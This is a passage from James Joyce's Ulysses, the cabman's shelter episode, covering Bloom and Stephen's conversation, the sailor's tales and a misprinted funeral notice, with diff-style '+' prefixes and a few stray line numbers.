+(hers were, that is) if they really loved him, that is to say, love me, +love my dirty shirt. Still just then, being on tenterhooks, he desired +the female's room more than her company so it came as a genuine relief +when the keeper made her a rude sign to take herself off. Round the side +of the Evening Telegraph he just caught a fleeting glimpse of her face +round the side of the door with a kind of demented glassy grin showing +that she was not exactly all there, viewing with evident amusement the +group of gazers round skipper Murphy's nautical chest and then there was +no more of her. + +--The gunboat, the keeper said. + +--It beats me, Mr Bloom confided to Stephen, medically I am speaking, how +a wretched creature like that from the Lock hospital reeking with disease +can be barefaced enough to solicit or how any man in his sober senses, if +he values his health in the least. Unfortunate creature! Of course I +suppose some man is ultimately responsible for her condition. Still no +matter what the cause is from ... + +Stephen had not noticed her and shrugged his shoulders, merely remarking: + +--In this country people sell much more than she ever had and do a +roaring trade. Fear not them that sell the body but have not power to buy +the soul. She is a bad merchant. She buys dear and sells cheap. + +The elder man, though not by any manner of means an old maid or a prude, +said it was nothing short of a crying scandal that ought to be put a stop +to INSTANTER to say that women of that stamp (quite apart from any +oldmaidish squeamishness on the subject), a necessary evil, w ere not +licensed and medically inspected by the proper authorities, a thing, he +could truthfully state, he, as a PATERFAMILIAS, was a stalwart advocate +of from the very first start. Whoever embarked on a policy of the sort, +he said, and ventilated the matter thoroughly would confer a lasting boon +on everybody concerned. + +--You as a good catholic, he observed, talking of body and soul, believe +in the soul. Or do you mean the intelligence, the brainpower as such, as +distinct from any outside object, the table, let us say, that cup. I +believe in that myself because it has been explained by competent men as +the convolutions of the grey matter. Otherwise we would never have such +inventions as X rays, for instance. Do you? + +Thus cornered, Stephen had to make a superhuman effort of memory to try +and concentrate and remember before he could say: + +--They tell me on the best authority it is a simple substance and +therefore incorruptible. It would be immortal, I understand, but for the +possibility of its annihilation by its First Cause Who, from all I can +hear, is quite capable of adding that to the number of His other +practical jokes, CORRUPTIO PER SE and CORRUPTIO PER ACCIDENS both being +excluded by court etiquette. + +Mr Bloom thoroughly acquiesced in the general gist of this though the +mystical finesse involved was a bit out of his sublunary depth still he +felt bound to enter a demurrer on the head of simple, promptly rejoining: + +--Simple? I shouldn't think that is the proper word. Of course, I grant +you, to concede a point, you do knock across a simple soul once in a blue +moon. But what I am anxious to arrive at is it is one thing for instance +to invent those rays Rontgen did or the telescope like Edison, though I +believe it was before his time Galileo was the man, I mean, and the same +applies to the laws, for example, of a farreaching natural phenomenon +such as electricity but it's a horse of quite another colour to say you +believe in the existence of a supernatural God. + +--O that, Stephen expostulated, has been proved conclusively by several +of the bestknown passages in Holy Writ, apart from circumstantial +evidence. + +On this knotty point however the views of the pair, poles apart as they +were both in schooling and everything else with the marked difference in +their respective ages, clashed. + +--Has been? the more experienced of the two objected, sticking to his +original point with a smile of unbelief. I'm not so sure about that. +That's a matter for everyman's opinion and, without dragging in the +sectarian side of the business, I beg to differ with you IN TOTO there. +My belief is, to tell you the candid truth, that those bits were genuine +forgeries all of them put in by monks most probably or it's the big +question of our national poet over again, who precisely wrote them like +HAMLET and Bacon, as, you who know your Shakespeare infinitely better +than I, of course I needn't tell you. Can't you drink that coffee, by the +way? Let me stir it. And take a piece of that bun. It's like one of our +skipper's bricks disguised. Still no-one can give what he hasn't got. Try +a bit. + +--Couldn't, Stephen contrived to get out, his mental organs for the +moment refusing to dictate further. + +Faultfinding being a proverbially bad hat Mr Bloom thought well to stir +or try to the clotted sugar from the bottom and reflected with something +approaching acrimony on the Coffee Palace and its temperance (and +lucrative) work. To be sure it was a legitimate object and beyond yea or +nay did a world of good, shelters such as the present one they were in +run on teetotal lines for vagrants at night, concerts, dramatic evenings +and useful lectures (admittance free) by qualified men for the lower +orders. On the other hand he had a distinct and painful recollection they +paid his wife, Madam Marion Tweedy who had been prominently associated +with it at one time, a very modest remuneration indeed for her +pianoplaying. The idea, he was strongly inclined to believe, was to do +good and net a profit, there being no competition to speak of. Sulphate +of copper poison SO4 or something in some dried peas he remembered +reading of in a cheap eatinghouse somewhere but he couldn't remember when +it was or where. Anyhow inspection, medical inspection, of all eatables +seemed to him more than ever necessary which possibly accounted for the +vogue of Dr Tibble's Vi-Cocoa on account of the medical analysis +involved. + +--Have a shot at it now, he ventured to say of the coffee after being +stirred. + + Thus prevailed on to at any rate taste it Stephen lifted the heavy mug +from the brown puddle it clopped out of when taken up by the handle and +took a sip of the offending beverage. + +--Still it's solid food, his good genius urged, I'm a stickler for solid +food, his one and only reason being not gormandising in the least but +regular meals as the SINE QUA NON for any kind of proper work, mental or +manual. You ought to eat more solid food. You would feel a different man. + +--Liquids I can eat, Stephen said. But O, oblige me by taking away that +knife. I can't look at the point of it. It reminds me of Roman history. + +Mr Bloom promptly did as suggested and removed the incriminated article, +a blunt hornhandled ordinary knife with nothing particularly Roman or +antique about it to the lay eye, observing that the point was the least +conspicuous point about it. + +--Our mutual friend's stories are like himself, Mr Bloom APROPOS of +knives remarked to his CONFIDANTE SOTTO VOCE. Do you think they are +genuine? He could spin those yarns for hours on end all night long and +lie like old boots. Look at him. + +Yet still though his eyes were thick with sleep and sea air life was full +of a host of things and coincidences of a terrible nature and it was +quite within the bounds of possibility that it was not an entire +fabrication though at first blush there was not much inherent probability +in all the spoof he got off his chest being strictly accurate gospel. + +He had been meantime taking stock of the individual in front of him and +Sherlockholmesing him up ever since he clapped eyes on him. Though a +wellpreserved man of no little stamina, if a trifle prone to baldness, +there was something spurious in the cut of his jib that suggested a jail +delivery and it required no violent stretch of imagination to associate +such a weirdlooking specimen with the oakum and treadmill fraternity. He +might even have done for his man supposing it was his own case he told, +as people often did about others, namely, that he killed him himself and +had served his four or five goodlooking years in durance vile to say +nothing of the Antonio personage (no relation to the dramatic personage +of identical name who sprang from the pen of our national poet) who +expiated his crimes in the melodramatic manner above described. On the +other hand he might be only bluffing, a pardonable weakness because +meeting unmistakable mugs, Dublin residents, like those jarvies waiting +news from abroad would tempt any ancient mariner who sailed the ocean +seas to draw the long bow about the schooner HESPERUS and etcetera. And +when all was said and done the lies a fellow told about himself couldn't +probably hold a proverbial candle to the wholesale whoppers other fellows +coined about him. + +--Mind you, I'm not saying that it's all a pure invention, he resumed. +Analogous scenes are occasionally, if not often, met with. Giants, though +that is rather a far cry, you see once in a way, Marcella the midget +queen. In those waxworks in Henry street I myself saw some Aztecs, as +they are called, sitting bowlegged, they couldn't straighten their legs +if you paid them because the muscles here, you see, he proceeded, +indicating on his companion the brief outline of the sinews or whatever +you like to call them behind the right knee, were utterly powerless from +sitting that way so long cramped up, being adored as gods. There's an +example again of simple souls. + +However reverting to friend Sinbad and his horrifying adventures (who +reminded him a bit of Ludwig, ALIAS Ledwidge, when he occupied the boards +of the Gaiety when Michael Gunn was identified with the management in the +FLYING DUTCHMAN, a stupendous success, and his host of admirers came in +large numbers, everyone simply flocking to hear him though ships of any +sort, phantom or the reverse, on the stage usually fell a bit flat as +also did trains) there was nothing intrinsically incompatible about it, +he conceded. On the contrary that stab in the back touch was quite in +keeping with those italianos though candidly he was none the less free to +admit those icecreamers and friers in the fish way not to mention the +chip potato variety and so forth over in little Italy there near the +Coombe were sober thrifty hardworking fellows except perhaps a bit too +given to pothunting the harmless necessary animal of the feline +persuasion of others at night so as to have a good old succulent tuckin +with garlic DE RIGUEUR off him or her next day on the quiet and, he +added, on the cheap. + +--Spaniards, for instance, he continued, passionate temperaments like +that, impetuous as Old Nick, are given to taking the law into their own +hands and give you your quietus doublequick with those poignards they +carry in the abdomen. It comes from the great heat, climate generally. My +wife is, so to speak, Spanish, half that is. Point of fact she could +actually claim Spanish nationality if she wanted, having been born in +(technically) Spain, i.e. Gibraltar. She has the Spanish type. Quite +dark, regular brunette, black. I for one certainly believe climate +accounts for character. That's why I asked you if you wrote your poetry +in Italian. + +--The temperaments at the door, Stephen interposed with, were very +passionate about ten shillings. ROBERTO RUBA ROBA SUA. + +--Quite so, Mr Bloom dittoed. + +--Then, Stephen said staring and rambling on to himself or some unknown +listener somewhere, we have the impetuosity of Dante and the isosceles +triangle miss Portinari he fell in love with and Leonardo and san Tommaso +Mastino. + +--It's in the blood, Mr Bloom acceded at once. All are washed in the +blood of the sun. Coincidence I just happened to be in the Kildare street +museum today, shortly prior to our meeting if I can so call it, and I +was just looking at those antique statues there. The splendid proportions +of hips, bosom. You simply don't knock against those kind of women here. +An exception here and there. Handsome yes, pretty in a way you find but +what I'm talking about is the female form. Besides they have so little +taste in dress, most of them, which greatly enhances a woman's natural +beauty, no matter what you say. Rumpled stockings, it may be, possibly +is, a foible of mine but still it's a thing I simply hate to see. + +Interest, however, was starting to flag somewhat all round and then the +others got on to talking about accidents at sea, ships lost in a fog, goo +collisions with icebergs, all that sort of thing. Shipahoy of course had +his own say to say. He had doubled the cape a few odd times and weathered +a monsoon, a kind of wind, in the China seas and through all those perils +of the deep there was one thing, he declared, stood to him or words to +that effect, a pious medal he had that saved him. + +So then after that they drifted on to the wreck off Daunt's rock, wreck +of that illfated Norwegian barque nobody could think of her name for the +moment till the jarvey who had really quite a look of Henry Campbell +remembered it PALME on Booterstown strand. That was the talk of the town +that year (Albert William Quill wrote a fine piece of original verse of +distinctive merit on the topic for the Irish TIMES), breakers running +over her and crowds and crowds on the shore in commotion petrified with +horror. Then someone said something about the case of the S. S. LADY +CAIRNS of Swansea run into by the MONA which was on an opposite tack in +rather muggyish weather and lost with all hands on deck. No aid was +given. Her master, the MONA'S, said he was afraid his collision bulkhead +would give way. She had no water, it appears, in her hold. + +At this stage an incident happened. It having become necessary for him to +unfurl a reef the sailor vacated his seat. + +--Let me cross your bows mate, he said to his neighbour who was just +gently dropping off into a peaceful doze. + +He made tracks heavily, slowly with a dumpy sort of a gait to the door, +stepped heavily down the one step there was out of the shelter and bore +due left. While he was in the act of getting his bearings Mr Bloom who +noticed when he stood up that he had two flasks of presumably ship's rum +sticking one out of each pocket for the private consumption of his +burning interior, saw him produce a bottle and uncork it or unscrew and, +applying its nozzle to his lips, take a good old delectable swig out of +it with a gurgling noise. The irrepressible Bloom, who also had a shrewd +suspicion that the old stager went out on a manoeuvre after the +counterattraction in the shape of a female who however had disappeared to +all intents and purposes, could by straining just perceive him, when duly +refreshed by his rum puncheon exploit, gaping up at the piers and girders +of the Loop line rather out of his depth as of course it was all +radically altered since his last visit and greatly improved. Some person +or persons invisible directed him to the male urinal erected by the +cleansing committee all over the place for the purpose but after a brief +space of time during which silence reigned supreme the sailor, evidently +giving it a wide berth, eased himself closer at hand, the noise of his +bilgewater some little time subsequently splashing on the ground where it +apparently awoke a horse of the cabrank. A hoof scooped anyway for new +foothold after sleep and harness jingled. Slightly disturbed in his +sentrybox by the brazier of live coke the watcher of the corporation +stones who, though now broken down and fast breaking up, was none other +in stern reality than the Gumley aforesaid, now practically on the parish +rates, given the temporary job by Pat Tobin in all human probability from +dictates of humanity knowing him before shifted about and shuffled in his +box before composing his limbs again in to the arms of Morpheus, a truly +amazing piece of hard lines in its most virulent form on a fellow most +respectably connected and familiarised with decent home comforts all his +life who came in for a cool 100 pounds a year at one time which of course +the doublebarrelled ass proceeded to make general ducks and drakes of. +And there he was at the end of his tether after having often painted the +town tolerably pink without a beggarly stiver. He drank needless to be +told and it pointed only once more a moral when he might quite easily be +in a large way of business if--a big if, however--he had contrived to +cure himself of his particular partiality. + +All meantime were loudly lamenting the falling off in Irish shipping, +coastwise and foreign as well, which was all part and parcel of the same +thing. A Palgrave Murphy boat was put off the ways at Alexandra basin, +the only launch that year. Right enough the harbours were there only no +ships ever called. + +There were wrecks and wreckers, the keeper said, who was evidently AU +FAIT. + +What he wanted to ascertain was why that ship ran bang against the only +rock in Galway bay when the Galway harbour scheme was mooted by a Mr +Worthington or some name like that, eh? Ask the then captain, he advised +them, how much palmoil the British government gave him for that day's +work, Captain John Lever of the Lever Line. + +--Am I right, skipper? he queried of the sailor, now returning after his +private potation and the rest of his exertions. + +That worthy picking up the scent of the fagend of the song or words +growled in wouldbe music but with great vim some kind of chanty or other +in seconds or thirds. Mr Bloom's sharp ears heard him then expectorate +the plug probably (which it was), so that he must have lodged it for the +time being in his fist while he did the drinking and making water jobs +and found it a bit sour after the liquid fire in question. Anyhow in he +rolled after his successful libation-CUM-potation, introducing an +atmosphere of drink into the SOIREE, boisterously trolling, like a +veritable son of a seacook: + + + --THE BISCUITS WAS AS HARD AS BRASS + AND THE BEEF AS SALT AS LOT'S WIFE'S ARSE. + O, JOHNNY LEVER! + JOHNNY LEVER, O! + + +After which effusion the redoubtable specimen duly arrived on the scene +and regaining his seat he sank rather than sat heavily on the form +provided. Skin-the-Goat, assuming he was he, evidently with an axe to +grind, was airing his grievances in a forcible-feeble philippic anent the +natural resources of Ireland or something of that sort which he described +in his lengthy dissertation as the richest country bar none on the face +of God's earth, far and away superior to England, with coal in large +quantities, six million pounds worth of pork exported every year, ten +millions between butter and eggs and all the riches drained out of it by +England levying taxes on the poor people that paid through the nose +always and gobbling up the best meat in the market and a lot more surplus +steam in the same vein. Their conversation accordingly became general and +all agreed that that was a fact. You could grow any mortal thing in Irish +soil, he stated, and there was that colonel Everard down there in Navan +growing tobacco. Where would you find anywhere the like of Irish bacon? +But a day of reckoning, he stated CRESCENDO with no uncertain voice, +thoroughly monopolising all the conversation, was in store for mighty +England, despite her power of pelf on account of her crimes. There would +be a fall and the greatest fall in history. The Germans and the Japs were +going to have their little lookin, he affirmed. The Boers were the +beginning of the end. Brummagem England was toppling already and her +downfall would be Ireland, her Achilles heel, which he explained to them +about the vulnerable point of Achilles, the Greek hero, a point his +auditors at once seized as he completely gripped their attention by +showing the tendon referred to on his boot. His advice to every Irishman +was: stay in the land of your birth and work for Ireland and live for +Ireland. Ireland, Parnell said, could not spare a single one of her sons. + +Silence all round marked the termination of his FINALE. The impervious +navigator heard these lurid tidings, undismayed. + +--Take a bit of doing, boss, retaliated that rough diamond palpably a bit +peeved in response to the foregoing truism. + +To which cold douche referring to downfall and so on the keeper concurred +but nevertheless held to his main view. + +--Who's the best troops in the army? the grizzled old veteran irately +interrogated. And the best jumpers and racers? And the best admirals and +generals we've got? Tell me that. + +--The Irish, for choice, retorted the cabby like Campbell, facial +blemishes apart. + +--That's right, the old tarpaulin corroborated. The Irish catholic +peasant. He's the backbone of our empire. You know Jem Mullins? + +While allowing him his individual opinions as everyman the keeper added +he cared nothing for any empire, ours or his, and considered no Irishman +worthy of his salt that served it. Then they began to have a few +irascible words when it waxed hotter, both, needless to say, appealing to +the listeners who followed the passage of arms with interest so long as +they didn't indulge in recriminations and come to blows. + +From inside information extending over a series of years Mr Bloom was +rather inclined to poohpooh the suggestion as egregious balderdash for, +pending that consummation devoutly to be or not to be wished for, he was +fully cognisant of the fact that their neighbours across the channel, +unless they were much bigger fools than he took them for, rather +concealed their strength than the opposite. It was quite on a par with +the quixotic idea in certain quarters that in a hundred million years the +coal seam of the sister island would be played out and if, as time went +on, that turned out to be how the cat jumped all he could personally say +on the matter was that as a host of contingencies, equally relevant to +the issue, might occur ere then it was highly advisable in the interim to +try to make the most of both countries even though poles apart. Another +little interesting point, the amours of whores and chummies, to put it in +common parlance, reminded him Irish soldiers had as often fought for +England as against her, more so, in fact. And now, why? So the scene +between the pair of them, the licensee of the place rumoured to be or +have been Fitzharris, the famous invincible, and the other, obviously +bogus, reminded him forcibly as being on all fours with the confidence +trick, supposing, that is, it was prearranged as the lookeron, a student +of the human soul if anything, the others seeing least of the game. And +as for the lessee or keeper, who probably wasn't the other person at all, +he (B.) couldn't help feeling and most properly it was better to give +people like that the goby unless you were a blithering idiot altogether +and refuse to have anything to do with them as a golden rule in private +life and their felonsetting, there always being the offchance of a +Dannyman coming forward and turning queen's evidence or king's now like +Denis or Peter Carey, an idea he utterly repudiated. Quite apart from +that he disliked those careers of wrongdoing and crime on principle. Yet, +though such criminal propensities had never been an inmate of his bosom +in any shape or form, he certainly did feel and no denying it (while +inwardly remaining what he was) a certain kind of admiration for a man +who had actually brandished a knife, cold steel, with the courage of his +political convictions (though, personally, he would never be a party to +any such thing), off the same bat as those love vendettas of the south, +have her or swing for her, when the husband frequently, after some words +passed between the two concerning her relations with the other lucky +mortal (he having had the pair watched), inflicted fatal injuries on his +adored one as a result of an alternative postnuptial LIAISON by plunging +his knife into her, until it just struck him that Fitz, nicknamed Skin- +the-Goat, merely drove the car for the actual perpetrators of the outrage +and so was not, if he was reliably informed, actually party to the ambush +which, in point of fact, was the plea some legal luminary saved his skin +on. In any case that was very ancient history by now and as for our +friend, the pseudo Skin-the-etcetera, he had transparently outlived his +welcome. He ought to have either died naturally or on the scaffold high. +Like actresses, always farewell positively last performance then come up +smiling again. Generous to a fault of course, temperamental, no +economising or any idea of the sort, always snapping at the bone for the +shadow. So similarly he had a very shrewd suspicion that Mr Johnny Lever +got rid of some l s d. in the course of his perambulations round the +docks in the congenial atmosphere of the OLD IRELAND tavern, come back to +Erin and so on. Then as for the other he had heard not so long before the +same identical lingo as he told Stephen how he simply but effectually +silenced the offender. + +--He took umbrage at something or other, that muchinjured but on the +whole eventempered person declared, I let slip. He called me a jew and in +a heated fashion offensively. So I without deviating from plain facts in +the least told him his God, I mean Christ, was a jew too and all his +family like me though in reality I'm not. That was one for him. A soft +answer turns away wrath. He hadn't a word to say for himself as everyone +saw. Am I not right? + + He turned a long you are wrong gaze on Stephen of timorous dark pride at +the soft impeachment with a glance also of entreaty for he seemed to +glean in a kind of a way that it wasn't all exactly. + +--EX QUIBUS, Stephen mumbled in a noncommittal accent, their two or four +eyes conversing, CHRISTUS or Bloom his name is or after all any other, +SECUNDUM CARNEM. + +--Of course, Mr B. proceeded to stipulate, you must look at both sides of +the question. It is hard to lay down any hard and fast rules as to right +and wrong but room for improvement all round there certainly is though +every country, they say, our own distressful included, has the government +it deserves. But with a little goodwill all round. It's all very fine to +boast of mutual superiority but what about mutual equality. I resent +violence and intolerance in any shape or form. It never reaches anything +or stops anything. A revolution must come on the due instalments plan. +It's a patent absurdity on the face of it to hate people because they +live round the corner and speak another vernacular, in the next house so +to speak. + +--Memorable bloody bridge battle and seven minutes' war, Stephen +assented, between Skinner's alley and Ormond market. + +Yes, Mr Bloom thoroughly agreed, entirely endorsing the remark, that was +overwhelmingly right. And the whole world was full of that sort of thing. + +--You just took the words out of my mouth, he said. A hocuspocus of +conflicting evidence that candidly you couldn't remotely ... + +All those wretched quarrels, in his humble opinion, stirring up bad +blood, from some bump of combativeness or gland of some kind, erroneously +supposed to be about a punctilio of honour and a flag, were very largely +a question of the money question which was at the back of everything +greed and jealousy, people never knowing when to stop. + +--They accuse, remarked he audibly. + +He turned away from the others who probably and spoke nearer to, so as +the others in case they. + +--Jews, he softly imparted in an aside in Stephen's ear, are accused of +ruining. Not a vestige of truth in it, I can safely say. History, would +you be surprised to learn, proves up to the hilt Spain decayed when the +inquisition hounded the jews out and England prospered when Cromwell, an +uncommonly able ruffian who in other respects has much to answer for, +imported them. Why? Because they are imbued with the proper spirit. They +are practical and are proved to be so. I don't want to indulge in any +because you know the standard works on the subject and then orthodox as +you are. But in the economic, not touching religion, domain the priest +spells poverty. Spain again, you saw in the war, compared with goahead +America. Turks. It's in the dogma. Because if they didn't believe they'd +go straight to heaven when they die they'd try to live better, at least +so I think. That's the juggle on which the p.p's raise the wind on false +pretences. I'm, he resumed with dramatic force, as good an Irishman as +that rude person I told you about at the outset and I want to see +everyone, concluded he, all creeds and classes PRO RATA having a +comfortable tidysized income, in no niggard fashion either, something in +the neighbourhood of 300 pounds per annum. That's the vital issue at +stake and it's feasible and would be provocative of friendlier +intercourse between man and man. At least that's my idea for what it's +worth. I call that patriotism. UBI PATRIA, as we learned a smattering of +in our classical days in ALMA MATER, VITA BENE. Where you can live well, +the sense is, if you work. + +Over his untastable apology for a cup of coffee, listening to this +synopsis of things in general, Stephen stared at nothing in particular. +He could hear, of course, all kinds of words changing colour like those +crabs about Ringsend in the morning burrowing quickly into all colours of +different sorts of the same sand where they had a home somewhere beneath +or seemed to. Then he looked up and saw the eyes that said or didn't say +the words the voice he heard said, if you work. + +--Count me out, he managed to remark, meaning work. + +The eyes were surprised at this observation because as he, the person who +owned them pro tem. observed or rather his voice speaking did, all must +work, have to, together. + +--I mean, of course, the other hastened to affirm, work in the widest +possible sense. Also literary labour not merely for the kudos of the +thing. Writing for the newspapers which is the readiest channel nowadays. +That's work too. Important work. After all, from the little I know of +you, after all the money expended on your education you are entitled to +recoup yourself and command your price. You have every bit as much right +to live by your pen in pursuit of your philosophy as the peasant has. +What? You both belong to Ireland, the brain and the brawn. Each is +equally important. + +--You suspect, Stephen retorted with a sort of a half laugh, that I may +be 1160 important because I belong to the FAUBOURG SAINT PATRICE called +Ireland for short. + +--I would go a step farther, Mr Bloom insinuated. + +--But I suspect, Stephen interrupted, that Ireland must be important +because it belongs to me. + +--What belongs, queried Mr Bloom bending, fancying he was perhaps under +some misapprehension. Excuse me. Unfortunately, I didn't catch the latter +portion. What was it you ...? + +Stephen, patently crosstempered, repeated and shoved aside his mug of +coffee or whatever you like to call it none too politely, adding: 1170 + +--We can't change the country. Let us change the subject. + +At this pertinent suggestion Mr Bloom, to change the subject, looked down +but in a quandary, as he couldn't tell exactly what construction to put +on belongs to which sounded rather a far cry. The rebuke of some kind was +clearer than the other part. Needless to say the fumes of his recent orgy +spoke then with some asperity in a curious bitter way foreign to his +sober state. Probably the homelife to which Mr B attached the utmost +importance had not been all that was needful or he hadn't been +familiarised with the right sort of people. With a touch of fear for the +young man beside him whom he furtively scrutinised with an air of some +consternation remembering he had just come back from Paris, the eyes more +especially reminding him forcibly of father and sister, failing to throw +much light on the subject, however, he brought to mind instances of +cultured fellows that promised so brilliantly nipped in the bud of +premature decay and nobody to blame but themselves. For instance there +was the case of O'Callaghan, for one, the halfcrazy faddist, respectably +connected though of inadequate means, with his mad vagaries among whose +other gay doings when rotto and making himself a nuisance to everybody +all round he was in the habit of ostentatiously sporting in public a suit +of brown paper (a fact). And then the usual DENOUEMENT after the fun had +gone on fast and furious he got 1190 landed into hot water and had to be +spirited away by a few friends, after a strong hint to a blind horse from +John Mallon of Lower Castle Yard, so as not to be made amenable under +section two of the criminal law amendment act, certain names of those +subpoenaed being handed in but not divulged for reasons which will occur +to anyone with a pick of brains. Briefly, putting two and two together, +six sixteen which he pointedly turned a deaf ear to, Antonio and so +forth, jockeys and esthetes and the tattoo which was all the go in the +seventies or thereabouts even in the house of lords because early in life +the occupant of the throne, then heir apparent, the other members of the +upper ten and other high personages simply following in the footsteps of +the head of the state, he reflected about the errors of notorieties and +crowned heads running counter to morality such as the Cornwall case a +number of years before under their veneer in a way scarcely intended by +nature, a thing good Mrs Grundy, as the law stands, was terribly down on +though not for the reason they thought they were probably whatever it was +except women chiefly who were always fiddling more or less at one another +it being largely a matter of dress and all the rest of it. Ladies who +like distinctive underclothing should, and every welltailored man must, +trying to make the gap wider between them by innuendo and give more of a +genuine filip to acts of impropriety between the two, she unbuttoned his +and then he untied her, mind the pin, whereas savages in the cannibal +islands, say, at ninety degrees in the shade not caring a continental. +However, reverting to the original, there were on the other hand others +who had forced their way to the top from the lowest rung by the aid of +their bootstraps. Sheer force of natural genius, that. With brains, sir. + +For which and further reasons he felt it was his interest and duty even +to wait on and profit by the unlookedfor occasion though why he could not +exactly tell being as it was already several shillings to the bad having +in fact let himself in for it. Still to cultivate the acquaintance of +someone of no uncommon calibre who could provide food for reflection +would amply repay any small. Intellectual stimulation, as such, was, he +felt, from time to time a firstrate tonic for the mind. Added to which +was the coincidence of meeting, discussion, dance, row, old salt of the +here today and gone tomorrow type, night loafers, the whole galaxy of +events, all went to make up a miniature cameo of the world we live in +especially as the lives of the submerged tenth, viz. coalminers, divers, +scavengers etc., were very much under the microscope lately. To improve +the shining hour he wondered whether he might meet with anything +approaching the same luck as Mr Philip Beaufoy if taken down in writing +suppose he were to pen something out of the common groove (as he fully +intended doing) at the rate of one guinea per column. MY EXPERIENCES, let +us say, IN A CABMAN'S SHELTER. + +The pink edition extra sporting of the TELEGRAPH tell a graphic lie lay, +as luck would have it, beside his elbow and as he was just puzzling +again, far from satisfied, over a country belonging to him and the +preceding rebus the vessel came from Bridgwater and the postcard was +addressed A. Boudin find the captain's age, his eyes went aimlessly over +the respective captions which came under his special province the +allembracing give us this day our daily press. First he got a bit of a +start but it turned out to be only something about somebody named H. du +Boyes, agent for typewriters or something like that. Great battle, Tokio. +Lovemaking in Irish, 200 pounds damages. Gordon Bennett. Emigration +Swindle. Letter from His Grace. William. Ascot meeting, the Gold Cup. +Victory of outsider THROWAWAY recalls Derby of '92 when Capt. Marshall's +dark horse SIR HUGO captured the blue ribband at long odds. New York +disaster. Thousand lives lost. Foot and Mouth. Funeral of the late Mr +Patrick Dignam. + +So to change the subject he read about Dignam R. I. P. which, he +reflected, was anything but a gay sendoff. Or a change of address anyway. + +--THIS MORNING (Hynes put it in of course) THE REMAINS OF THE LATE MR +PATRICK DIGNAM WERE REMOVED FROM HIS RESIDENCE, NO 9 NEWBRIDGE AVENUE, +SANDYMOUNT, FOR INTERMENT IN GLASNEVIN. THE DECEASED GENTLEMAN WAS A MOST +POPULAR AND GENIAL PERSONALITY IN CITY LIFE AND HIS DEMISE AFTER A BRIEF +ILLNESS CAME AS A GREAT SHOCK TO CITIZENS OF ALL CLASSES BY WHOM HE IS +DEEPLY REGRETTED. THE OBSEQUIES, AT WHICH MANY FRIENDS OF THE DECEASED +WERE PRESENT, WERE CARRIED OUT (certainly Hynes wrote it with a nudge +from Corny) BY MESSRS H. J. O'NEILL AND SON, 164 NORTH STRAND ROAD. THE +MOURNERS INCLUDED: PATK. DIGNAM (SON), BERNARD CORRIGAN (BROTHER-IN-LAW), +JNO. HENRY MENTON, SOLR, MARTIN CUNNINGHAM, JOHN POWER, .)EATONDPH 1/8 +ADOR DORADOR DOURADORA (must be where he called Monks the dayfather about +Keyes's ad) THOMAS KERNAN, SIMON DEDALUS, STEPHEN DEDALUS B. ,4., EDW. J. +LAMBERT, CORNELIUS T. KELLEHER, JOSEPH M'C HYNES, L. BOOM, CP M'COY,-- +M'LNTOSH AND SEVERAL OTHERS. + + Nettled not a little by L. BOOM (as it incorrectly stated) and the line +of bitched type but tickled to death simultaneously by C. P. M'Coy and +Stephen Dedalus B. A. who were conspicuous, needless to say, by their +total absence (to say nothing of M'Intosh) L. Boom pointed it out to his +companion B. A. engaged in stifling another yawn, half nervousness, not +forgetting the usual crop of nonsensical howlers of misprints. + +--Is that first epistle to the Hebrews, he asked as soon as his bottom +jaw would let him, in? Text: open thy mouth and put thy foot in it. + +--It is. Really, Mr Bloom said (though first he fancied he alluded to the +archbishop till he added about foot and mouth with which there could be +no possible connection) overjoyed to set his mind at rest and a bit +flabbergasted at Myles Crawford's after all managing to. There. + +While the other was reading it on page two Boom (to give him for the +nonce his new misnomer) whiled away a few odd leisure moments in fits and +starts with the account of the third event at Ascot on page three, his +side. Value 1000 sovs with 3000 sovs in specie added. For entire colts +and fillies. Mr F. Alexander's THROWAWAY, b. h. by RIGHTAWAY, 5 yrs, 9 st +4 lbs (W. Lane) 1, lord Howard de Walden's ZINFANDEL (M. Cannon) z, Mr W. +Bass's SCEPTRE 3. Betting 5 to 4 on ZINFANDEL, 20 to 1 THROWAWAY (off). +SCEPTRE a shade heavier, 5 to 4 on ZINFANDEL, 20 to 1 THROWAWAY (off). +THROWAWAY and ZINFANDEL stood close order. It was anybody's race then the +rank outsider drew to the fore, got long lead, beating lord Howard de +Walden's chestnut colt and Mr W. Bass's bay filly SCEPTRE on a 2 1/2 mile +course. Winner trained by Braime so that Lenehan's version of the +business was all pure buncombe. Secured the verdict cleverly by a length. +1000 sovs with 3000 in specie. Also ran: J de Bremond's (French horse +Bantam Lyons was anxiously inquiring after not in yet but expected any +minute) MAXIMUM II. Different ways of bringing off a coup. Lovemaking +damages. Though that halfbaked Lyons ran off at a tangent in his +impetuosity to get left. Of course gambling eminently lent itself to that +sort of thing though as the event turned out the poor fool hadn't much +reason to congratulate himself on his pick, the forlorn hope. Guesswork +it reduced itself to eventually. + +--There was every indication they would arrive at that, he, Bloom, said. + +--Who? the other, whose hand by the way was hurt, said. + +One morning you would open the paper, the cabman affirmed, and read: +RETURN OF PARNELL. He bet them what they liked. A Dublin fusilier was in +that shelter one night and said he saw him in South Africa. Pride it was +killed him. He ought to have done away with himself or lain low for a +time after committee room no 15 until he was his old self again with no- +one to point a finger at him. Then they would all to a man have gone down +on their marrowbones to him to come back when he had recovered his +senses. Dead he wasn't. Simply absconded somewhere. The coffin they +brought over was full of stones. He changed his name to De Wet, the Boer +general. He made a mistake to fight the priests. And so forth and so on. + +All the same Bloom (properly so dubbed) was rather surprised at their +memories for in nine cases out of ten it was a case of tarbarrels and not +singly but in their thousands and then complete oblivion because it was +twenty odd years. Highly unlikely of course there was even a shadow of +truth in the stones and, even supposing, he thought a return highly +inadvisable, all things considered. Something evidently riled them in his +death. Either he petered out too tamely of acute pneumonia just when his +various different political arrangements were nearing completion or +whether it transpired he owed his death to his having neglected to change +his boots and clothes-after a wetting when a cold resulted and failing to +consult a specialist he being confined to his room till he eventually +died of it amid widespread regret before a fortnight was at an end or +quite possibly they were distressed to find the job was taken out of +their hands. Of course nobody being acquainted with his movements even +before there was absolutely no clue as to his whereabouts which were +decidedly of the ALICE, WHERE ART THOU order even prior to his starting +to go under several aliases such as Fox and Stewart so the remark which +emanated from friend cabby might be within the bounds of possibility. +Naturally then it would prey on his mind as a born leader of men which +undoubtedly he was and a commanding figure, a sixfooter or at any rate +five feet ten or eleven in his stockinged feet, whereas Messrs So and So +who, though they weren't even a patch on the former man, ruled the roost +after their redeeming features were very few and far between. It +certainly pointed a moral, the idol with feet of clay, and then +seventytwo of his trusty henchmen rounding on him with mutual +mudslinging. And the identical same with murderers. You had to come back. +That haunting sense kind of drew you. To show the understudy in the title +ROLE how to. He saw him once on the auspicious 